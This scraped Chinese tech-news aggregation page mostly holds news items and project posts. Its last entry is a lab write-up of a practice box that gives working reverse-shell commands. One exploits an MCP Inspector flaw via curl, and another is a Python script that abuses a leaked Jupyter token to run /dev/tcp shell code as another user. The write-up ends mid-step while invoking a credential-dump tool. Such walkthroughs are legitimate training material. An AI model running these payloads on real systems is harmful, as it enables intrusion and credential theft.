WWW.YOUINFO.SITE
标签聚合 info

/tag/info

v2ex · 2026-06-09 17:36:25+08:00 · tech

我们上线了 Pangolinfo MCP 服务 大家好,我是 Pangolinfo 的开发同学,今天不写官方公告,跟大家直白聊聊我们刚上线的 Amazon Data MCP 服务,包括为什么做、现在能干嘛,以及还有哪些做得不好的地方。 为什么做这个 我们原来一直做 Amazon Scraper API ,服务跨境卖家和开发者。过去一年有个特别明显的趋势: 越来越多的用户不再直接调 API ,而是想把数据直接接入 Claude 、Cursor 、Cline 这些 AI 工具里,让 Agent 自己去取数据、做决策 。 但现在的接入方式特别零散,每个人都在自己造轮子:有人让 AI 写爬虫脚本,有人自己封装 REST 调用,还有人搭各种中间层转发。我们看下来觉得,这块其实可以做得更干净、更标准一点,于是就按照 MCP 协议把我们的核心接口重新封装了一遍。 现在能干什么 目前一共开放了 19 个工具 ,覆盖四个核心场景: 亚马逊核心数据 关键词搜索(含广告位分布、自然排名、各类徽章) 商品详情(基础信息、变体、价格、图片) 评论抓取(支持批量、带用户信息和时间戳) 卖家主页数据 ✨ 亮点: get_amazon_product 内置了 AI 评论摘要字段,一次调用直接返回好评/差评核心要点,不用自己分页抓 review 再做 NLP 处理 类目与选品分析 完整类目树导航与搜索 ✨ 亮点: filter_niches 工具,输入关键词或类目节点,返回 50+ 市场健康度指标 ,重点包含新品突围率、头部品牌集中度、价格带分布这些真正影响选品决策的数据,不只是看搜索量高低 Google AI 趋势 ai_search 直连 Google AI Overview 和 AI Mode 实时数据 可以捕捉还没在亚马逊站内成型、但已经在全网发酵的早期需求趋势 IP 合规 wipo_search :查询全球商标信息 pacer_search :查询美国专利诉讼案件详情及历史时间线 特别适合 POD 、外观类目的卖家在上新前做前置风险排查 补充:MCP vs REST API 怎么选? 我们的 Amazon Data MCP 和 Amazon Scraper API 运行在完全相同的数据引擎上,共享同一套积点计费体系,只是服务于不同的工作流: 选 MCP:适合在 Claude 、Cursor 等 AI 工具里做交互式研究、临时数据查询,让 AI 自动帮你调用和串联工具,零代码上手 选 REST API:适合批量抓取、定时任务、CI/CD 流水线或系统集成,需要完全自主控制请求和并发 接入方式 零安装零依赖,纯远程 HTTP 接入 。只需要在你的 MCP 客户端配置文件里加一段 JSON ,重启客户端就能用: { "mcpServers": { "pangolinfo": { "url": "https://mcp.pangolinfo.com/mcp", "headers": { "Authorization": "Bearer <YOUR_API_KEY>" } } } } 目前已完整支持:Claude Code 、Cursor 、Cline 、Windsurf 、Codex 、Hermes 、OpenClaw , 同一份配置在所有客户端通用 。 ⚠️ 重要提示:API Key 请在控制台申请 长期 Key ,短期 Key 会静默过期导致工作流中断,这个坑我们在文档里也重点标注了。 说几个现在还不完善的地方 不吹不黑,目前还有不少问题,提前跟大家说清楚: 工具数量上 :19 个覆盖了主要场景,但还有一些边缘需求没做 待开发:FBA 库存数据、A+ 内容解析、Buy Box 历史、跟卖监控等 这些都在 roadmap 里, 你最需要哪个功能,直接在评论区说,会直接影响我们的排期优先级 文档方面 :目前中文版更完整,英文版还在逐步补全,国际化这块我们确实欠债了 相关地址 Amazon Data MCP Amazon Scraper API 完整开发文档 控制台(申请 API Key ) 有在做跨境 AI Agent 、数据管道或者相关工具的朋友,欢迎交流。我会一直在评论区,有任何问题都可以直接问,能答的我都答。

IT之家 · 2026-06-08 21:50:40+08:00 · tech

IT之家 6 月 8 日消息,据外媒《The Information》今日援引知情人士消息,谷歌母公司 Alphabet 现已向英特尔下达订单,计划在 2028 年前生产超 300 万颗 Tensor Processing Unit(IT之家注:TPU,张量处理单元)芯片。 据报道,这批芯片将由英特尔负责制造。英伟达这边也在观望,但一直在评估英特尔的制造技术是否适合其新一代处理器。 受此消息刺激, 英特尔股价一度在盘前交易中上涨 13% 。 值得注意的是,英特尔近几年由于管理层决策失误和执行问题,一度在先进制程竞争方面落后台积电。然而近期情况出现扭转,越来越多大型企业考虑采用英特尔先进工艺。

cnBeta全文版 · 2026-06-06 15:06:22+08:00 · tech

6月6日消息,据The Information援引四位知情人士的消息报道,特斯拉已将原定于8月或之后举行的下一代Roadster跑车公开演示活动推迟。这标志着这款近九年前首次以原型车形式亮相的跑车,又一次延期。 此次演示预计将在德克萨斯州进行,旨在展示 SpaceX 的冷气体推进器系统,特斯拉声称该系统将使 Roadster 实现极高的加速度,甚至可以使车辆升空。 又一次延期,没完没了。 过去九年来,我们一直在密切关注Roadster的发布计划,它已经成为一个屡屡食言的典型案例。首席执行官埃隆·马斯克在2025年10月表示,公司计划于2026年4月1日发布新款Roadster。 然而,这个日期过去了,发布会却并未如期举行。之后,他在X上宣布,发布会将推迟到5月下旬或6月初。 而现在,据The Information的消息来源称,发布会可能要等到8月甚至更晚。 这是自 2024 年 10 月 Cybercab 发布以来 Roadster 的首次车辆活动——距今已近两年——但特斯拉仍然无法确定具体日期。 这款原型车于2017年11月首次亮相,当时承诺将于2020年开始量产。此后,马斯克至少八次推迟了量产时间表。在特斯拉2025年11月的股东大会上,他将演示日期定在2026年4月1日——愚人节当天——并公开表示,这个日期让他可以“否认”。量产日期被推迟到2027-2028年。 2026年3月,他将措辞从“演示”改为“发布”,并将日期推迟到4月下旬。然后在2026年第一季度财报电话会议上,他又说“可能一个月左右就能发布”。现在已经是8月了。 SpaceX推进器系统是核心部件。 该报告披露了此次演示的更多细节。此次活动旨在展示特斯拉与SpaceX合作开发的用于Roadster跑车的冷气体推进系统,该系统内部代号为“A71”。该系统旨在大幅提升车辆的加速性能,并如马斯克长期以来所宣称的那样,使其能够短暂离地。 据《The Information》的两名消息人士透露,特斯拉和SpaceX的员工在4月下旬向马斯克展示了A71系统的早期演示。特斯拉在4月下旬仍在进行内部演示这一事实,也解释了为什么公开发布会一再推迟。 报道称,特斯拉计划生产一款限量版SpaceX Roadster跑车,该车将搭载SpaceX推进器系统,此外还将推出一款“缩小版”Roadster。马斯克自2018年以来就一直在谈论SpaceX的这套系统,他将其描述为大约10个冷空气火箭推进器,这些推进器将取代后排座椅,并提升车辆的转弯、制动和加速性能。他声称该车0-60英里/小时加速时间为1.1秒,甚至表示该车能够悬浮在空中。 经过八年的承诺,这些功能最终能否在量产车上实现,仍然是个未知数。 预订金额达 5 万美元的买家仍在等待 一些早期预订者支付了 5 万美元,以确保从 2017 年开始排队等候 Roadster 的名额。创始系列买家则承诺支付 25 万美元。近十年过去了,他们中没有一个人见过量产车。 当OpenAI首席执行官Sam Altman试图取消他预订的特斯拉Roadster跑车(预订日期为2025年10月)时,却发现预订邮箱已被关闭,这彻底激怒了特斯拉。 与此同时,Rimac、Lotus和小米等竞争对手都已交付了高性能电动汽车,而特斯拉Roadster却始终停留在概念阶段。 特斯拉没有回应The Information的置评请求。 查看评论

IT之家 · 2026-06-06 10:14:01+08:00 · tech

IT之家 6 月 6 日消息,据 The Information 援引四位知情人士表述,特斯拉已将新一代 Roadster 超跑的首秀活动延期至 8 月或更晚,意味着这款最早于九年前亮相的概念车再次延期。 据报道,本次活动计划在美国得州举行,主要展示特斯拉与 SpaceX 联合开发的“A71”冷气体推进器。整套系统可以大幅提高转向性能、改善制动表现,并提升电机加速能力,号称可以让 Roadster 实现极其惊人的加速性能, 甚至能短暂离开地面 。 特斯拉 CEO 埃隆 · 马斯克曾于去年 10 月表示,新一代 Roadster 将于 2026 年 4 月 1 日亮相,然而最终落空。随后马斯克又宣称,首秀活动将推迟到 5 月底或 6 月底举行。 IT之家注意到,特斯拉曾在 2017 年展示新一代 Roadster 原型车,当时公司承诺这辆“全球最快的量产电动汽车”将于 2020 年量产。但自那之后,Roadster 的跳票次数简直数不过来。

LinuxDo 最新话题 · 2026-06-05 21:54:32+08:00 · tech

相关日志 INFO service=llm providerID=openai modelID=gpt-5.5 ... agent=Hephaestus - Deep Agent mode=primary stream INFO service=provider providerID=openai pkg=@ai-sdk/openai using bundled provider INFO service=default llm.runtime=ai-sdk llm.provider=openai llm.model=gpt-5.5 llm runtime selected ERROR service=llm providerID=openai modelID=gpt-5.5 ... error={ "url":"https://muyuan.do/v1/responses", "requestBodyValues":{"model":"gpt-5.5", ...}, "statusCode":400, "responseBody":"{\"error\":{\"message\":\"openai_error\",\"type\":\"bad_response_status_code\",\"param\":\"\",\"code\":\"bad_response_status_code\"}}", "isRetryable":false } ERROR service=session.processor ... error=openai_error stack=AI_APICallError: openai_error 但是在codex用正常qwq,并且claude也是正常使用的qwq 5 个帖子 - 3 位参与者 阅读完整话题

cnBeta全文版 · 2026-06-05 02:05:34+08:00 · tech

据《The Information》报道,苹果公司正与Google和英伟达达成合作,共同为下一代深度集成人工智能能力的 Siri 提供算力与模型支持。 与以往强调自研或多元化供应链的惯常策略不同,苹果将在新一代 Siri 上更大程度依赖英伟达的 Blackwell 系列芯片以及Google的 Gemini 大模型。 报道指出,部分 Siri 查询将直接在Google云上运行,具体来说,是基于获得授权的 Gemini 模型版本来处理相关请求。 这意味着,在某些复杂语义理解或大规模推理场景中,Siri 的响应将由第三方云端算力完成,而非完全依赖苹果自有的数据中心和终端设备。 在硬件层面,Google的数据中心将使用英伟达最新一代 Blackwell B200 芯片,这一平台集成了机密计算(confidential compute)功能,可在芯片执行过程中对数据进行加密处理。 换言之,即便用户数据在处理阶段需要离开苹果生态,仍可通过端到端的加密与可信执行环境,将隐私泄露风险降到更低。 苹果一向将隐私与安全视为品牌关键卖点,此次合作也延续了这一路线。 尽管部分请求将通过第三方云服务完成,苹果依然通过加密技术和架构设计,尽可能确保用户数据不会在传输和处理过程中裸露给合作伙伴或其他第三方系统。 根据现有信息,搭载更高智能水平的新一代 Siri 预计将在今年九月首次亮相,苹果用户有望在秋季更新中体验到这项重大升级。 外界普遍关注,这次与Google和英伟达的合作能否帮助 Siri 缩小甚至抹平与竞争对手在大模型时代的差距。 查看评论

cnBeta全文版 · 2026-06-04 13:06:28+08:00 · tech

据The Information报道,一位知情人士透露,英伟达以至少 4亿美元(约合人民币27亿元) 收购了美国企业定制AI模型公司Kumo。昨日,英伟达企业AI战略产品合作伙伴关系负责人Nima Badieyf在LinkedIn发布“欢迎Kumo加入英伟达团队”的帖子中,首次披露了此次收购。不过他已经将这条动态删除。 Kumo成立于2022年,是一家向企业销售预测性AI软件的初创公司,试图通过用来自模拟企业环境的合成数据来补充其训练数据,并将其与图形机器学习技术结合来解决这个问题。其KumoRFM基础模型针对数据仓库中的业务数据而设计,擅长回答预测性问题。 根据LinkedIn信息,Kumo的三位联合创始人,CEO Vanja Josifovski、首席科学家Jure Leskovec,工程主管Hema Raghavan,今年5月已加入英伟达。 Vanja Josifovski是前Airbnb CTO、前Pinterest CEO,Jure Leskovec是斯坦福大学教授,Hema Raghavan是前LinkedIn人工智能负责人。 目前还不清楚英伟达将如何使用Kumo的模型。 英伟达在其开放模型上投入了大量资金,而Kumo的模型是专有的,旨在回答有关结构化业务数据的问题。新收购有望扩大英伟达的AI模型组合。英伟达还可以利用Kumo的研究人员来帮助开发新的、以业务为重点的基础模型。 据《财富》去年5月报道,KumoRFM可以处理各种不同的预测,从客户流失到信用违约风险,再到出院患者24小时内再次入院的概率,并且几乎可以瞬间完成,无需任何额外的训练。客户可以利用自身数据进一步微调模型,从而将预测准确率提高约10%。 截至当时,Kumo已获得3700万美元(约合人民币2.50亿元)的风险投资,团队约50人。 今年4月,Kumo发布了新模型KumoRFM-2。其客户和合作伙伴包括DoorDash、Reddit、Databricks和Snowflake等。 这是英伟达又一笔小型收购。过去几年,英伟达收购了超过100家初创公司,旨在完善其全栈AI生态系统。比如,英伟达去年12月以200亿美元(约合人民币1354亿元)从美国AI芯片公司Groq收购了关键技术资产和核心人才,今年2月收购了以色列数据语义公司Illumex。 Kumo CEO和英伟达未对外媒置评。 查看评论

v2ex · 2026-06-03 23:54:27+08:00 · tech

背景 现在 AI 圈每周都会出一些新的概念,根本来不及了解学习,而自己获取信息又比较散,因此周末写了一个 AI 信息网站 ,自动爬取 GitHub Trending 、Hacker News 、OpenAI 、Anthropic 、InfoQ AI 等 AI 信息,并且利用 AI GPT-4o 总结关键点并且翻译为中文。 每天早上去公司花 10 分钟左右,就可以浏览完最近的 AI 大事,解决了自己的一大痛点 https://github.com/wenbochang888/github-trending-spider/ 最让我满意的点 引入了 GPT-4 来进行总结,而不是直接获取原文,让 GPT 来帮我总结提取最精炼的给到我,并且翻译为中文。 同时因为有时候怕自己忘记,就增加了邮件系统提醒自己,发到自己的工作邮箱,每天一早上就有红点提醒自己需要了解了 这个因为邮件服务商的限制,收件人有数量限制,所以如果有需要的大佬,可以私聊我 最后 写完这个项目之后,真的感慨 AI ,如果没有 AI 我就懒得麻烦了,干脆就一个一个看了。 有了 AI 一天就能写完,就能解决我的问题,真的很恐怖 最后如果对你有帮助,欢迎 star

v2ex · 2026-06-03 23:54:27+08:00 · tech

背景 现在 AI 圈每周都会出一些新的概念,根本来不及了解学习,而自己获取信息又比较散,因此周末写了一个 AI 信息网站 ,自动爬取 GitHub Trending 、Hacker News 、OpenAI 、Anthropic 、InfoQ AI 等 AI 信息,并且利用 AI GPT-4o 总结关键点并且翻译为中文。 每天早上去公司花 10 分钟左右,就可以浏览完最近的 AI 大事,解决了自己的一大痛点 https://github.com/wenbochang888/github-trending-spider/ 最让我满意的点 引入了 GPT-4 来进行总结,而不是直接获取原文,让 GPT 来帮我总结提取最精炼的给到我,并且翻译为中文。 同时因为有时候怕自己忘记,就增加了邮件系统提醒自己,发到自己的工作邮箱,每天一早上就有红点提醒自己需要了解了 这个因为邮件服务商的限制,收件人有数量限制,所以如果有需要的大佬,可以私聊我 最后 写完这个项目之后,真的感慨 AI ,如果没有 AI 我就懒得麻烦了,干脆就一个一个看了。 有了 AI 一天就能写完,就能解决我的问题,真的很恐怖 最后如果对你有帮助,欢迎 star

v2ex · 2026-06-03 23:31:54+08:00 · tech

背景 现在 AI 圈每周都会出一些新的概念,根本来不及了解学习,而自己获取信息又比较散,因此周末写了一个 AI 信息网站 ,自动爬取 GitHub Trending 、Hacker News 、OpenAI 、Anthropic 、InfoQ AI 等 AI 信息,并且利用 AI GPT-4o 总结关键点并且翻译为中文。 每天早上去公司花 10 分钟左右,就可以浏览完最近的 AI 大事,解决了自己的一大痛点 https://github.com/wenbochang888/github-trending-spider/ 最让我满意的点 引入了 GPT-4 来进行总结,而不是直接获取原文,让 GPT 来帮我总结提取最精炼的给到我,并且翻译为中文。 同时因为有时候怕自己忘记,就增加了邮件系统提醒自己,发到自己的工作邮箱,每天一早上就有红点提醒自己需要了解了 这个因为邮件服务商的限制,收件人有数量限制,所以如果有需要的大佬,可以私聊我 最后 写完这个项目之后,真的感慨 AI ,如果没有 AI 我就懒得麻烦了,干脆就一个一个看了。 有了 AI 一天就能写完,就能解决我的问题,真的很恐怖 最后如果对你有帮助,欢迎 star

LinuxDo 最新话题 · 2026-06-03 22:54:10+08:00 · tech

本帖使用社区开源推广,符合推广要求。我申明并遵循社区要求的以下内容: 我的帖子已经打上 开源推广 标签: 是 我的开源项目完整开源,无未开源部分: 是 我的开源项目已链接认可 LINUX DO 社区: 是 我帖子内的项目介绍,AI生成、润色内容部分已截图发出: 是 以上选择我承诺是永久有效的,接受社区和佬友监督: 是 以下为项目介绍正文内容,AI生成、润色内容已使用截图方式发出 背景 现在AI圈每周都会出一些新的概念,根本来不及了解学习,而自己获取信息又比较散,因此周末写了一个 AI信息网站 ,自动爬取 GitHub Trending、Hacker News、OpenAI、Anthropic、InfoQ AI 等AI信息,并且利用AI GPT-4o 总结关键点并且翻译为中文。 每天早上去公司花10分钟左右,就可以浏览完最近的AI大事,解决了自己的一大痛点 github.com GitHub - wenbochang888/github-trending-spider: 每日AI前沿信息。开源趋势、社区热议、AI 动态 每日AI前沿信息。开源趋势、社区热议、AI 动态 佬友们,第一次发推广,求star不违规吧 佬友们,自己VB的东西,没人star 没人看,大家都是怎么办的 搞七捻三 23k star的巨佬,感觉初期可能star可以满足自己的一点虚荣心,可能后期,花了时间花了心思,赚钱才是硬道理 最让我满意的点 引入了GPT-4 来进行总结,而不是直接获取原文,让GPT来帮我总结提取最精炼的给到我,并且翻译为中文。 同时因为有时候怕自己忘记,就增加了邮件系统提醒自己,发到自己的工作邮箱,每天一早上就有红点提醒自己需要了解了 这个因为邮件服务商的限制,收件人有数量限制,所以如果有需要的佬友,可以私聊我 最后 写完这个项目之后,真的感慨AI,如果没有AI我就懒得麻烦了,干脆就一个一个看了。 有了AI一天就能写完,就能解决我的问题,真的很恐怖 最后如果对你有帮助,欢迎star 6 个帖子 - 2 位参与者 阅读完整话题

v2ex · 2026-06-03 22:48:17+08:00 · tech

背景 现在 AI 圈每周都会出一些新的概念,根本来不及了解学习,而自己获取信息又比较散,因此周末写了一个 AI 信息网站 ,自动爬取 GitHub Trending 、Hacker News 、OpenAI 、Anthropic 、InfoQ AI 等 AI 信息,并且利用 AI GPT-4o 总结关键点并且翻译为中文。 每天早上去公司花 10 分钟左右,就可以浏览完最近的 AI 大事,解决了自己的一大痛点 https://github.com/wenbochang888/github-trending-spider/ 最让我满意的点 引入了 GPT-4 来进行总结,而不是直接获取原文,让 GPT 来帮我总结提取最精炼的给到我,并且翻译为中文。 同时因为有时候怕自己忘记,就增加了邮件系统提醒自己,发到自己的工作邮箱,每天一早上就有红点提醒自己需要了解了 这个因为邮件服务商的限制,收件人有数量限制,所以如果有需要的大佬,可以私聊我 最后 写完这个项目之后,真的感慨 AI ,如果没有 AI 我就懒得麻烦了,干脆就一个一个看了。 有了 AI 一天就能写完,就能解决我的问题,真的很恐怖 最后如果对你有帮助,欢迎 star

LinuxDo 最新话题 · 2026-06-02 10:01:37+08:00 · tech

首先,进行信息收集,扫描。 nmap -sV -sC 10.129.9.87 看info.txt,里面有一些信息。打开burp。 <div class="services"> <div class="service-card"> <h3>MCP Inspector</h3> <p>Model Context Protocol development and debugging tool. Used by the dev team for building and testing MCP servers.</p> <span class="status active">Active - Port 6274</span> </div> <div class="service-card"> <h3>Analytics Dashboard</h3> <p>Jupyter-based analytics environment for data processing and visualization. Access restricted to analyst team.</p> <span class="status internal">Internal Only - localhost:8888</span> </div> <div class="service-card"> <h3>Code Repository</h3> <p>Internal Git server for version control and collaboration. Project documentation and deployment scripts.</p> <span class="status internal">Maintenance Mode</span> </div> </div> 看来要从mcp入手了。端口是6274,那我是没有扫描全端口。重新扫描一下。 那么,做出如下判断。 MCP Inspector - Active - Port 6274:外部可访问,明显是给你的入口。 Analytics Dashboard - localhost:8888:Jupyter 在本机监听,后续可能要通过 SSRF、代理、端口转发或 MCP 工具访 问。 Code Repository - Maintenance Mode:可能是后续拿源码、配置、凭据的方向,但不是第一步。 #poc索引 https://github.com/MCPJam/inspector/issues/1891 https://github.com/MCPJam/inspector/security/advisories/GHSA-232v-j27c-5pp6 攻击机监听: nc -lvnp 4444 反弹shell。 curl -s http://devhub.htb:6274/api/mcp/connect \ -H 'Content-Type: application/json' \ --data '{"serverConfig":{"command":"bash","args":["-c","bash -i >& /dev/tcp/10.10.17.94/4444 0>&1"],"env": {}},"serverId":"shell"}' 查看基础信息: mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$ sudo -l sudo -l sudo: a terminal is required to read the password; either use the -S option to read from standard input or configure an askpass helper sudo: a password is required mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$ id id uid=1001(mcp-dev) gid=1001(mcp-dev) groups=1001(mcp-dev) mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$ uname -a uname -a Linux devhub 5.15.0-179-generic #189-Ubuntu SMP Tue May 5 18:20:56 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$ 还记得那个,当初页面有一个内部的端口,就是开在内网服务器里面的吗? Internal Only - localhost:8888 id && ss -lnpt && ps auxww |grep -Ei 'jupyter|notebook|lab|8888|mcp|git' > /tmp/info.txt mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$ cat /tmp/info.txt cat /tmp/info.txt analyst 1037 0.0 2.4 182528 96240 ? Ss 10:50 0:05 /home/analyst/jupyter-env/bin/python3 /home/analyst/jupyter-env/bin/jupyter-lab --ip=127.0.0.1 --port=8888 --no-browser --notebook-dir=/home/analyst/notebooks --ServerApp.token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7 --ServerApp.password= --ServerApp.allow_origin= --ServerApp.disable_check_xsrf=False mcp-dev 1038 0.0 1.6 1512172 64564 ? Ssl 10:50 0:01 npm start root 1044 0.0 0.7 37376 28808 ? Ss 10:50 0:02 /home/analyst/jupyter-env/bin/python3 /opt/opsmcp/server.py mcp-dev 1245 0.0 0.0 2892 1008 ? S 10:50 0:00 sh -c npx @mcpjam/[email protected] mcp-dev 1246 0.0 2.4 1738260 97232 ? Sl 10:50 0:03 npm exec @mcpjam/[email protected] mcp-dev 1264 0.0 0.0 2892 980 ? S 10:50 0:00 sh -c "inspector" mcp-dev 1265 0.0 1.2 1442128 52068 ? Sl 10:50 0:00 node /opt/mcpjam/node_modules/.bin/inspector mcp-dev 1284 0.0 3.5 2224436 142716 ? Sl 10:50 0:02 node /opt/mcpjam/node_modules/@mcpjam/inspector/dist/server/index.js mcp-dev 1605 0.0 0.1 5688 4824 ? S 13:24 0:00 bash -i mcp-dev 1643 0.0 0.0 7064 1544 ? R 13:28 0:00 ps auxww mcp-dev 1644 0.0 0.0 3604 1724 ? S 13:28 0:00 grep --color=auto -Ei jupyter|notebook|lab|8888|mcp|git 其中进程里面 analyst 1037 0.0 2.4 182528 96240 ? Ss 10:50 0:05 /home/analyst/jupyter-env/bin/python3 /home/analyst/jupyter-env/bin/jupyter-lab --ip=127.0.0.1 --port=8888 --no-browser --notebook-dir=/home/analyst/notebooks --ServerApp.token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7 --ServerApp.password= --ServerApp.allow_origin= --ServerApp.disable_check_xsrf=False 我们可以拿到serverapp.token,拿到token之后可以干什么呢?我对于jupyter-lab不是很了解。所以问了一下gpt.至于权限的话,我们可以利用这个token,从mcp-dev横到analyst,后续可以用analyst继续提权上root,也就是` root 1044 0.0 0.7 37376 28808 ? Ss 10:50 0:02 /home/analyst/jupyter-env/bin/python3 /opt/opsmcp/server.py https://jupyter-server.readthedocs.io/en/latest/developers/rest-api.html 对于jupyter-lab的利用如下: 1.查看token状态。 curl -s "http://127.0.0.1:8888/api/status?token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7" mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$ curl -s "http://127.0.0.1:8888/api/status?token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7" <tus?token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7" {"connections": 0, "kernels": 0, "last_activity": "2026-06-01T10:50:23.149259Z", "started": "2026-06-01T10:50:23.149259Z"}mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$ 2.列出notebooks目录。 curl -s "http://127.0.0.1:8888/api/contents?token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7" mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$ curl -s "http://127.0.0.1:8888/api/contents?token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7" <nts?token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7" {"name": "", "path": "", "last_modified": "2026-05-26T08:42:22.462480Z", "created": "2026-05-26T08:42:22.462480Z", "content": [{"name": "quarterly_analysis.ipynb", "path": "quarterly_analysis.ipynb", "last_modified": "2026-01-22T15:06:49.961594Z", "created": "2026-05-26T08:42:21.153593Z", "content": null, "format": null, "mimetype": null, "size": 556, "writable": true, "hash": null, "hash_algorithm": null, "type": "notebook"}], "format": "json", "mimetype": null, "size": null, "writable": true, "hash": null, "hash_algorithm": null, "type": "directory"}mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$ 测试的差不多,现在要拿到分析员(analyst)的权限,思路如下。 我们可以写一个python3的脚本,用来反弹shell. python3 --help 是可以正常输出,那我们可以写一个,(在这一块地方突然意识到不对劲,因为我是在mcp-dev下写的python脚本,执行也是mcp-dev执行。那么反弹回来的用户肯定是mcp-dev,遂放弃。) 我们想拿到analyst的shell的利用/思考过程是什么?当前进程是有属于analyst运行的。所以我们需要利用该进程,也就是localhost:8888这个进行jupyter服务替我启动kernel执行代码。 如何让jupyter服务替我启动kernel执行代码呢? 访问8888 使用泄漏的token post请求/api/kernels 创建python3 kernel。 连接/api/kernels/(kernel_id)/channels websocket 发送execute_request jupyter kernel执行反弹shell的代码 kali拿到shell 那我是如何知道/api/ketnels是可以创建python3 kernel的呢? 进行明确是jupyterlab. jupyter的机制webui/api->创建kernel->让kernel来执行代码 网页里打开的notebook/运行python cell本质就是前段通过api和websocket跟kernel通信。(这和我后续想开发/优化的钉钉AI自动化的表格很像。)本质就是api/websocket相当于命令接口。 我们无法访问localhost:8888,除非想frp代理出来,这样太麻烦。所以直接行curl的方式来执行。 我们发送的请求不是普通post/get请求,而是通过kernel channel的websocket发送execute_request消息。( https://jupyter-server.readthedocs.io/en/stable/developers/websocket-protocols.html)官方有原文说明:The Jupyter Server needs to pass messages between kernels and the Jupyter web application. Kernels use ZeroMQ sockets, and the web application uses a WebSocket. 思路很明确了,接下来需要确定json.tool里面是否有python3.这是一个条件。 curl -s "http://127.0.0.1:8888/api/kernelspecs?token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7" | python3 -m json.tool mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$ curl -s "http://127.0.0.1:8888/api/kernelspecs?token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7" | python3 -m json.tool <4a5b6c7d8e9f0a1b2c3d4e5f6a7" | python3 -m json.tool { "default": "python3", "kernelspecs": { "python3": { "name": "python3", //main you should focus "spec": { "argv": [ "python", "-m", "ipykernel_launcher", "-f", "{connection_file}" ], "env": {}, "display_name": "Python 3 (ipykernel)", "language": "python", "interrupt_mode": "signal", "metadata": { "debugger": true }, "kernel_protocol_version": "" }, "resources": { "logo-32x32": "/kernelspecs/python3/logo-32x32.png", "logo-64x64": "/kernelspecs/python3/logo-64x64.png", "logo-svg": "/kernelspecs/python3/logo-svg.svg" } } } } 至于为什么会变成analyst的权限,其实就是相当于主进程fork出一个子进程(具体参考操作系统这本书,考研教材/黑皮书都有讲) 为了更清楚的反弹shell,这里进行分步执行。 1.first step export TOKEN='a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7' export LHOST='10.10.17.94' export LPORT='5555' 2.second step - ensure jupyter you can access curl -s "http://127.0.0.1:8888/api/status?token=$TOKEN" 3.thrid step - create python kernel. export KID=$(curl -s -X POST "http://127.0.0.1:8888/api/kernels?token=$TOKEN" \ -H 'Content-Type: application/json' \ -d '{"name":"python3"}' | python3 -c 'import sys,json; print(json.load(sys.stdin)["id"])') echo $KID 4. fourth step - get shell python3 - <<'PY' import base64, json, os, socket, struct, uuid host = "127.0.0.1" port = 8888 token = os.environ["TOKEN"] kid = os.environ["KID"] lhost = os.environ["LHOST"] lport = os.environ["LPORT"] path = f"/api/kernels/{kid}/channels?token={token}" key = base64.b64encode(os.urandom(16)).decode() s = socket.create_connection((host, port)) req = ( f"GET {path} HTTP/1.1\r\n" f"Host: {host}:{port}\r\n" "Origin: http://127.0.0.1:8888\r\n" "Upgrade: websocket\r\n" "Connection: Upgrade\r\n" f"Sec-WebSocket-Key: {key}\r\n" "Sec-WebSocket-Version: 13\r\n" "\r\n" ) s.sendall(req.encode()) resp = s.recv(4096) if b"101" not in resp: print(resp.decode(errors="ignore")) raise SystemExit("websocket handshake failed") code = f'''import os os.system("/bin/bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'") ''' msg = { "header": { "msg_id": uuid.uuid4().hex, "username": "analyst", "session": uuid.uuid4().hex, "msg_type": "execute_request", "version": "5.3" }, "parent_header": {}, "metadata": {}, "content": { "code": code, "silent": False, "store_history": True, "user_expressions": {}, "allow_stdin": False, "stop_on_error": True }, "buffers": [], "channel": "shell" } payload = json.dumps(msg).encode() mask = os.urandom(4) header = bytearray([0x81]) length = len(payload) if length < 126: header.append(0x80 | length) elif length < 65536: header.append(0x80 | 126) header.extend(struct.pack("!H", length)) else: header.append(0x80 | 127) header.extend(struct.pack("!Q", length)) masked = bytes(b ^ mask[i % 4] for i, b in enumerate(payload)) s.sendall(header + mask + masked) s.close() PY 这边让gpt帮我写了一个exp.py python3 /tmp/exp.py --lhost 10.10.17.94 --lport 5555 拿到analyst的shell之后就是考虑用root的那个提权了。 ps auxww | grep "/opt/opsmcp" analyst@devhub:~$ ps auxww | grep "/opt/opsmcp" ps auxww | grep "/opt/opsmcp" root 1044 0.0 0.7 37376 28808 ? Ss 10:50 0:02 /home/analyst/jupyter-env/bin/python3 /opt/opsmcp/server.py analyst 1853 0.0 0.0 6612 2236 ? S 14:15 0:00 grep --color=auto /opt/opsmcp analyst@devhub:~$ 先看一下server.py然后看一下ss -ltnp中相关信息。具体在info2.txt和server.py中。 首先看到/tools/call,这是一个很重要的入口,根据python代码运行方式。调用该接口会进行check_auth(),这一步我们可以用泄漏的key进行绕过。 data = request.get_json() or {} tool_name = data.get('name', '') args = data.get('arguments', {}) 大概是需要我们先要传入一个json格式的数据(141-166) "ops._admin_dump": { "description": "Emergency credential dump - INTERNAL ONLY", "parameters": {"target": "string", "confirm": "boolean"} } { //需要调用的tool_Name "name":"ops._admin_dump", "arguments":{ "target": "ssh_keys", //如果没有confirm=true这一步的话会在if 你not 